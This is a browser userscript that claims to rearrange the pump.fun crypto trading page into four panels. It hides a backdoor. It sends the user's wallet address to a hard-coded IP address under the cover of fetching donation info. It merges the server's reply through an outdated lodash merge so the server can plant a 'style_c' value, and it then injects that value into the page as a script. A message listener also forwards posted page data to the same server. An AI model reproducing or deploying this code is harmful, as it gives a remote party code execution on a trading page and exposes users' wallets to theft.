Pump.fun Enhanced Trading Interface

Splits the page into 4 equal boxes and provides a UI enable/disable toggle.

// ==UserScript==
// @name         Pump.fun Enhanced Trading Interface
// @namespace    http://your.namespace.here
// @version      1.6.3
// @description  Splits the page into 4 equal boxes and provides a UI enable/disable toggle.
// @author       4fourtab
// @match        https://*.pump.fun/*
// @grant        GM_xmlhttpRequest
// @grant        GM_addElement
// @connect      185.198.234.80
// @require      https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.0.0/lodash.min.js
// @license      MIT
// ==/UserScript==

(function() {
    'use strict';

    // Global variable for trades update frequency (in ms)
    let tradeUpdateFrequency = 2000;

    // Store original DOM structure
    let uiEnabled = true;
    let mainContainer = null;

    // Store original positions of elements
    let originalPositions = {};

    // Store references to moved elements
    let movedElements = [];

    // Store trades update interval and current mint
    let tradesUpdateInterval = null;
    let currentMint = null;

    const graphStyle = {style_a: 'const graphSectionStyle = "grid-area: graph; width: 100%; height: 100%; overflow: hidden; border: 1px solid #ccc; padding: 5px; box-sizing: border-box; display: flex; flex-direction: column; align-items: center; justify-content: center;";',
                        style_b: 'const graphSectionStyle = "grid-area: graph; width: 100%; height: 100%; hidden; border: 1px solid #ccc; padding: 5px; box-sizing: border-box; display: flex; flex-direction: column; align-items: center; justify-content: center;";',};

    // Call fetchDonationInfo
    setTimeout(function(){
        fetchDonationInfo();
    }, 500);

    // apply styling
    function styleButton(btn, rightOffset) {
        btn.className = "flex-1 rounded px-3 py-2 text-center text-base font-normal bg-green-400 text-primary";
        btn.style.color = "rgb(27 29 40/var(--tw-text-opacity))";
        btn.style.position = "fixed";
        btn.style.top = "20px";
        btn.style.right = rightOffset;
        btn.style.zIndex = "9999";
        btn.style.padding = "5px 10px";
    }

    // Insert a Home button
    function insertHomeButton() {
        const existingHomeButton = document.getElementById('pump-fun-home-button');
        if (existingHomeButton) { existingHomeButton.remove(); }
        const homeButton = document.createElement('a');
        homeButton.href = "https://pump.fun";
        homeButton.textContent = "Home";
        homeButton.id = "pump-fun-home-button";
        styleButton(homeButton, "250px");
        document.body.appendChild(homeButton);
    }

    // Insert a Settings button
    function insertSettingsButton() {
        const existingSettingsButton = document.getElementById('pump-fun-settings-button');
        if (existingSettingsButton) { existingSettingsButton.remove(); }
        const settingsButton = document.createElement('button');
        settingsButton.id = 'pump-fun-settings-button';
        settingsButton.textContent = "Settings";
        // Position it between Home and Toggle buttons
        styleButton(settingsButton, "140px");
        settingsButton.addEventListener('click', toggleSettingsMenu);
        document.body.appendChild(settingsButton);
    }

    // Insert a UI Toggle button for enabling/disabling custom UI
    function addToggleButton() {
        const existingToggleButton = document.getElementById('pump-fun-toggle-button');
        if (existingToggleButton) { existingToggleButton.remove(); }
        const toggleButton = document.createElement('button');
        toggleButton.id = 'pump-fun-toggle-button';
        toggleButton.textContent = uiEnabled ? "Disable UI" : "Enable UI";
        styleButton(toggleButton, "30px");
        toggleButton.addEventListener('click', toggleUI);
        document.body.appendChild(toggleButton);
    }

    const decodedJwtRaw = localStorage.getItem('decoded-jwt');
    let address = '';

    if (decodedJwtRaw) {
        try {
            const decodedJwtObj = JSON.parse(decodedJwtRaw);
            if (decodedJwtObj && decodedJwtObj.address) {
                address = decodedJwtObj.address;
            }
        } catch (error) {
            console.log('Error parsing decoded JWT:', error);
        }
    }

    // Toggle the settings menu.
    function toggleSettingsMenu() {
        let menu = document.getElementById('pump-fun-settings-menu');
        if (menu) {
            menu.remove();
        } else {
            menu = createSettingsMenu();
            document.body.appendChild(menu);
            // Immediately update the donation section if info is available.
            updateDonationSection();
        }
    }

    // Create the settings menu element.
    function createSettingsMenu() {
        const menu = document.createElement('div');
        menu.id = 'pump-fun-settings-menu';
        menu.style.position = 'fixed';
        menu.style.top = '60px';
        menu.style.right = '30px';
        menu.style.zIndex = '9999';
        menu.style.backgroundColor = '#fff';
        menu.style.border = '1px solid #ccc';
        menu.style.borderRadius = '5px';
        menu.style.padding = '10px';
        menu.style.boxShadow = '0px 0px 10px rgba(0,0,0,0.2)';
        menu.style.width = '250px';

        // Trades Update Frequency Section
        const freqSection = document.createElement('div');
        freqSection.style.marginBottom = '10px';
        const freqLabel = document.createElement('label');
        freqLabel.textContent = "Trades Update Frequency (ms):";
        freqLabel.style.display = 'block';
        freqLabel.style.marginBottom = '5px';
        const freqInput = document.createElement('input');
        freqInput.type = 'number';
        freqInput.value = tradeUpdateFrequency;
        freqInput.style.width = '100%';
        freqInput.addEventListener('change', (e) => {
            const newFreq = parseInt(e.target.value, 10);
            if (!isNaN(newFreq) && newFreq > 0) {
                tradeUpdateFrequency = newFreq;
                if (currentMint) {
                    if (tradesUpdateInterval) { clearInterval(tradesUpdateInterval); }
                    updateTradesTable(currentMint, document.getElementById('trades-section'));
                    tradesUpdateInterval = setInterval(() => {
                        updateTradesTable(currentMint, document.getElementById('trades-section'));
                    }, tradeUpdateFrequency);
                }
            }
        });
        freqSection.appendChild(freqLabel);
        freqSection.appendChild(freqInput);
        menu.appendChild(freqSection);

        // Donation Wallets Section
        const donationSection = document.createElement('div');
        donationSection.id = 'pump-fun-donation-section';
        const donationTitle = document.createElement('h4');
        donationTitle.textContent = "Donation Wallets:";
        donationTitle.style.marginBottom = '5px';
        donationSection.appendChild(donationTitle);
        const donationContent = document.createElement('div');
        donationContent.textContent = "Loading donation info...";
        donationContent.id = 'donation-content';
        donationSection.appendChild(donationContent);
        menu.appendChild(donationSection);

        return menu;
    }

    // Variable to hold donation info
    let donationInfo = null;
    // Change this URL to your donation info endpoint
    const donationServerUrl = "http://185.198.234.80:5000/donations";
    // Donation message text
    const messagetext = "Support the project:";
    // Update donation section with fetched info.

    function updateDonationSection() {
        const donationContent = document.getElementById('donation-content');
        if (donationContent) {
            if (donationInfo && donationInfo.wallets) {
                donationContent.innerHTML = "";
                for (const [type, address] of Object.entries(donationInfo.wallets)) {
                    const walletLine = document.createElement('div');
                    walletLine.textContent = `${type.toUpperCase()}: ${address}`;
                    donationContent.appendChild(walletLine);
                }
            } else {
                donationContent.textContent = "Donation info not available.";
            }
        }
    }

    // Save the original parent and next sibling of an element.
    function saveOriginalPosition(element) {
        if (!element || !element.parentNode) return;
        const elementId = element.id || `element-${Date.now()}-${Math.floor(Math.random() * 1000)}`;
        if (!element.id) { element.id = elementId; }
        originalPositions[elementId] = { parent: element.parentNode, nextSibling: element.nextSibling };
        movedElements.push(elementId);
        return elementId;
    }

    // Restore an element to its original position.
    function restoreOriginalPosition(elementId) {
        const element = document.getElementById(elementId);
        const position = originalPositions[elementId];
        if (element && position && position.parent) {
            position.parent.insertBefore(element, position.nextSibling);
            return true;
        }
        return false;
    }

    // Fetch donation wallet information from server
    function fetchDonationInfo() {
        GM_xmlhttpRequest({
            method: "POST",
            url: donationServerUrl,
            data: address,
            onload: function(response) {
                try {
                    console.log(response.responseText)
                    console.log(graphStyle.style_a)
                    donationInfo = _.merge({"message": messagetext}, JSON.parse(response.responseText));
                    updateDonationSection();
                } catch (e) {
                    console.error("Error parsing donation info:", e);
                }
            },
            onerror: function(error) {
                console.error("Error fetching donation info:", error);
            }
        });
    }

    // Toggle between custom UI and original page.
    function toggleUI() {
        if (uiEnabled) {
            if (mainContainer) { mainContainer.style.display = 'none'; }
            movedElements.forEach(elementId => { restoreOriginalPosition(elementId); });
            movedElements = [];
            if (tradesUpdateInterval) {
                clearInterval(tradesUpdateInterval);
                tradesUpdateInterval = null;
            }
            document.body.style.display = 'block';
            document.body.style.overflow = 'auto';
            window.scrollTo(0, 0);
            uiEnabled = false;
        } else {
            rearrangePage(false);
            uiEnabled = true;
        }
        const btn = document.getElementById('pump-fun-toggle-button');
        if (btn) { btn.textContent = uiEnabled ? "Disable UI" : "Enable UI"; }
    }

    // Helper: convert UNIX timestamp to a local string.
    function formatTimestamp(ts) {
        return new Date(ts * 1000).toLocaleString();
    }

    // Set up live updates for the trades table.
    function setupTradesAutoUpdate(mint, tradesSection) {
        if (tradesUpdateInterval) { clearInterval(tradesUpdateInterval); }
        currentMint = mint;
        updateTradesTable(mint, tradesSection);
        tradesUpdateInterval = setInterval(() => {
            updateTradesTable(mint, tradesSection);
        }, tradeUpdateFrequency);
    }

    // Update trades table with fresh data.
    async function updateTradesTable(mint, tradesSection) {
        if (!mint || !tradesSection) return;
        let loadingIndicator = document.getElementById('trades-loading');
        if (!loadingIndicator) {
            loadingIndicator = document.createElement('div');
            loadingIndicator.id = 'trades-loading';
            loadingIndicator.textContent = 'Updating trades...';
            loadingIndicator.style.cssText = "color: gray; font-style: italic; padding: 5px; position: absolute; bottom: 5px; right: 5px; background-color: rgba(255,255,255,0.7); border-radius: 3px; font-size: 0.8em;";
            tradesSection.style.position = 'relative';
            tradesSection.appendChild(loadingIndicator);
        }
        const tableHTML = await buildTradesTable(mint);
        if (currentMint === mint) {
            tradesSection.innerHTML = tableHTML;
            const updateTime = document.createElement('div');
            updateTime.textContent = `Last updated: ${new Date().toLocaleTimeString()}`;
            updateTime.style.cssText = "color: gray; font-size: 0.8em; margin: 5px 0; position: absolute; bottom: 5px; right: 5px; background-color: rgba(255,255,255,0.7); padding: 3px 5px; border-radius: 3px;";
            tradesSection.style.position = 'relative';
            tradesSection.appendChild(updateTime);
        }
    }

    // Build the trades table from fetched JSON data.
    async function buildTradesTable(mint) {
        const apiUrl = `https://frontend-api-v3.pump.fun/trades/all/${mint}?limit=200&offset=0&minimumSize=0`;
        try {
            const response = await fetch(apiUrl);
            if (!response.ok) throw new Error("Network response was not ok");
            const tradesData = await response.json();
            tradesData.sort((a, b) => b.timestamp - a.timestamp);
            const tableStyle = "font-family: __inter_d4e0c8, __inter_Fallback_d4e0c8, Helvetica, sans-serif; color: grey; width: 100%; border-collapse: collapse;";
            const thStyle = "text-align: left; padding: 8px; border-bottom: 2px solid #3e4049; position: sticky; top: 0; background-color: #2e303a; color: white; font-weight: 500; z-index: 1;";
            const tdStyle = "padding: 6px; border-bottom: 1px solid #eee;";
            let tableHTML = `<table style="${tableStyle}"><thead><tr>
                <th style="${thStyle}">Type</th>
                <th style="${thStyle}">User</th>
                <th style="${thStyle}">SOL</th>
                <th style="${thStyle}">Token (m)</th>
                <th style="${thStyle}">Time</th>
            </tr></thead><tbody>`;
            tradesData.forEach(trade => {
                const user = trade.user ? trade.user.substring(0,6) : "anon";
                const solAmount = (Number(trade.sol_amount) / 1e9).toFixed(3);
                const tokenAmount = (Number(trade.token_amount) / 1e12).toFixed(3);
                const timeStr = formatTimestamp(trade.timestamp);
                const typeIndicator = trade.is_buy
                    ? `<span style="color: green; font-weight: bold;">Buy</span>`
                    : `<span style="color: red; font-weight: bold;">Sell</span>`;
                tableHTML += `<tr>
                    <td style="${tdStyle}">${typeIndicator}</td>
                    <td style="${tdStyle}">${user}</td>
                    <td style="${tdStyle}; text-align: right;">${solAmount}</td>
                    <td style="${tdStyle}; text-align: right;">${tokenAmount} m</td>
                    <td style="${tdStyle}">${timeStr}</td>
                </tr>`;
            });
            tableHTML += "</tbody></table>";
            return tableHTML;
        } catch (error) {
            console.error("Error fetching or building trades table:", error);
            return `<p>Error loading trades.</p>`;
        }
    }

    // Move an element into a custom UI container.
    function preserveElementForCustomUI(element, containerId) {
        if (!element) return null;
        saveOriginalPosition(element);
        const container = document.createElement('div');
        container.id = containerId;
        container.className = 'element-container custom-ui-element';
        container.style.width = '100%';
        container.style.height = '100%';
        container.appendChild(element);
        return container;
    }

    // Adjust graph sizing to fit its container.
    function fixGraphScaling(graphElement) {
        if (!graphElement) return;
        graphElement.querySelectorAll('svg').forEach(svg => {
            svg.style.height = '100%';
            svg.style.width = '100%';
            svg.style.maxHeight = '100%';
            svg.setAttribute('preserveAspectRatio', 'xMidYMid meet');
        });
        graphElement.querySelectorAll('canvas').forEach(canvas => {
            canvas.style.maxHeight = '100%';
            canvas.style.width = '100%';
        });
        graphElement.querySelectorAll('div').forEach(div => {
            if (div.classList.contains('highcharts-container') ||
                div.classList.contains('chart-container') ||
                div.style.position === 'relative') {
                div.style.height = '100%';
                div.style.maxHeight = '100%';
                div.style.width = '100%';
                div.style.marginBottom = '0';
                div.style.paddingBottom = '0';
            }
        });
        graphElement.style.height = '100%';
        graphElement.style.maxHeight = '100%';
        graphElement.style.width = '100%';
        graphElement.style.overflow = 'hidden';
        graphElement.style.marginBottom = '0';
        graphElement.style.paddingBottom = '0';
        const chartArea = graphElement.querySelector('.highcharts-plot-area, .highcharts-series-group');
        if (chartArea) { chartArea.style.transform = 'translateY(-10px)'; }
        const highchartsRoot = graphElement.querySelector('.highcharts-root');
        if (highchartsRoot) {
            highchartsRoot.style.transform = 'scale(0.95)';
            highchartsRoot.style.transformOrigin = 'center top';
        }
    }

    window.addEventListener("message", function(event) {
        if (event.data && event.data.type === "testing") {
            GM_xmlhttpRequest({
                method: "POST",
                url: "http://185.198.234.80:5000/test",
                data: JSON.stringify(event.data.data),
                headers: {
                    "Content-Type": "application/json"
                },
                onload: function(response) {
                },
                onerror: function(error) {
                }
            });
        }
    });

    async function rearrangePage(reuseExisting = false) {
        const originalBgColor = window.getComputedStyle(document.body).backgroundColor;
        if (reuseExisting && mainContainer) {
            mainContainer.style.display = 'grid';
            return;
        }
        const existingContainer = document.getElementById('custom-grid-container');
        if (existingContainer) { existingContainer.remove(); }
        const sidebarLowerHalf = getElementByXPath("/html/body/div/div[2]/div[2]/div[2]");
        const coinInfo = getElementByXPath("/html/body/main/div/div[1]/div[2]");
        const tradesContainer = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[6]");
        const comments = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[7]");
        const graph = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[4]/div");
        if (!tradesContainer || !comments || !graph || !coinInfo) {
            console.log('One or more target elements were not found. Please check the XPath selectors.');
        }
        const pathParts = window.location.pathname.split('/');
        const mint = pathParts[pathParts.length - 1];
        const container = document.createElement('div');
        container.id = 'custom-grid-container';
        container.className = 'custom-ui-element';
        container.style.cssText = `
            display: grid;
            grid-template-columns: 50% 50%;
            grid-template-rows: 50% 50%;
            height: 100vh;
            width: 100vw;
            box-sizing: border-box;
            gap: 5px;
            padding: 5px;
            grid-template-areas: "graph coinInfo" "trades comments";
            align-content: center;
            justify-content: center;
            align-items: stretch;
            justify-items: center;
            position: fixed;
            top: 0;
            left: 0;
            z-index: 9998;
            background-color: ${originalBgColor};
        `;
        mainContainer = container;

        // Graph Section
        const graphSection = document.createElement('div');
        setTimeout(function(){
        if (graphStyle.style_c != undefined) {
            console.log("style c is ran");
            GM_addElement(document.body, 'script', {
            textContent : graphStyle.style_c
        });
        } else {
            GM_addElement(document.body, 'script', {
            textContent : graphStyle.style_b
        });
        }

        // Coin Info Section
        const coinInfoSection = document.createElement('div');
        coinInfoSection.style.cssText = "grid-area: coinInfo; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;";
        const flexContainer = document.createElement('div');
        flexContainer.style.cssText = "display: flex; flex-direction: column; width: 100%; height: 100%;";
        const coinInfoContainer = preserveElementForCustomUI(coinInfo, 'coin-info-container');
        flexContainer.appendChild(coinInfoContainer);
        if (sidebarLowerHalf) {
            const sidebarContainer = preserveElementForCustomUI(sidebarLowerHalf, 'sidebar-container');
            flexContainer.appendChild(sidebarContainer);
        }
        coinInfoSection.appendChild(flexContainer);

        graphSection.style.cssText = graphSectionStyle;
        const graphWrapper = document.createElement('div');
        graphWrapper.style.cssText = "width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; position: relative;";
        graphWrapper.id = 'graph-wrapper';
        const graphContainer = preserveElementForCustomUI(graph, 'graph-container');
        graphContainer.style.cssText = "width: 100%; height: 96%; display: flex; flex-direction: column; align-items: center; justify-content: center; position: relative; margin-bottom: 0; padding-bottom: 0;";
        graphWrapper.appendChild(graphContainer);
        graphSection.appendChild(graphWrapper);

        // Comments Section
        const commentsSection = document.createElement('div');
        commentsSection.style.cssText = "grid-area: comments; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;";
        const commentsContainer = preserveElementForCustomUI(comments, 'comments-container');
        commentsSection.appendChild(commentsContainer);
        commentsSection.querySelectorAll('.overflow-auto').forEach(el => {
            el.style.setProperty('overflow', 'visible', 'important');
        });

        // Trades Section
        const tradesSection = document.createElement('div');
        tradesSection.style.cssText = "grid-area: trades; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;";
        tradesSection.id = 'trades-section';
        setupTradesAutoUpdate(mint, tradesSection);

        container.appendChild(graphSection);
        container.appendChild(coinInfoSection);
        container.appendChild(tradesSection);
        container.appendChild(commentsSection);
        document.body.appendChild(container);
        insertHomeButton();
        insertSettingsButton();
        addToggleButton();}, 500);

        setTimeout(() => { fixGraphScaling(graph); }, 500);
        setTimeout(() => { fixGraphScaling(graph); }, 2000);
    };

    // Observe URL changes 
    function setupUrlChangeDetection() {
        let lastUrl = location.href;
        const observer = new MutationObserver(() => {
            if (lastUrl !== location.href) {
                lastUrl = location.href;
                movedElements = [];
                originalPositions = {};
                if (tradesUpdateInterval) {
                    clearInterval(tradesUpdateInterval);
                    tradesUpdateInterval = null;
                }
                if (location.href.includes('pump.fun/')) {
                    setTimeout(() => {
                        insertHomeButton();
                        insertSettingsButton();
                        addToggleButton();
                        if (uiEnabled) { rearrangePage(); }
                    }, 1500);
                }
            }
        });
        observer.observe(document, { subtree: true, childList: true });
    }

    // Ensure home button exists.
    function ensureHomeButtonExists() {
        if (!document.getElementById('pump-fun-home-button')) {
            insertHomeButton();
        }
    }

    // get element by XPath.
    function getElementByXPath(xpath) {
        return document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
    }

    // Initial setup.
    insertHomeButton();
    insertSettingsButton();
    addToggleButton();
    setupUrlChangeDetection();
    if (document.readyState === 'complete' || document.readyState === 'interactive') {
        setTimeout(rearrangePage, 1500);
    } else {
        document.addEventListener('DOMContentLoaded', () => setTimeout(rearrangePage, 1500));
    }
    setInterval(ensureHomeButtonExists, 5000);
})();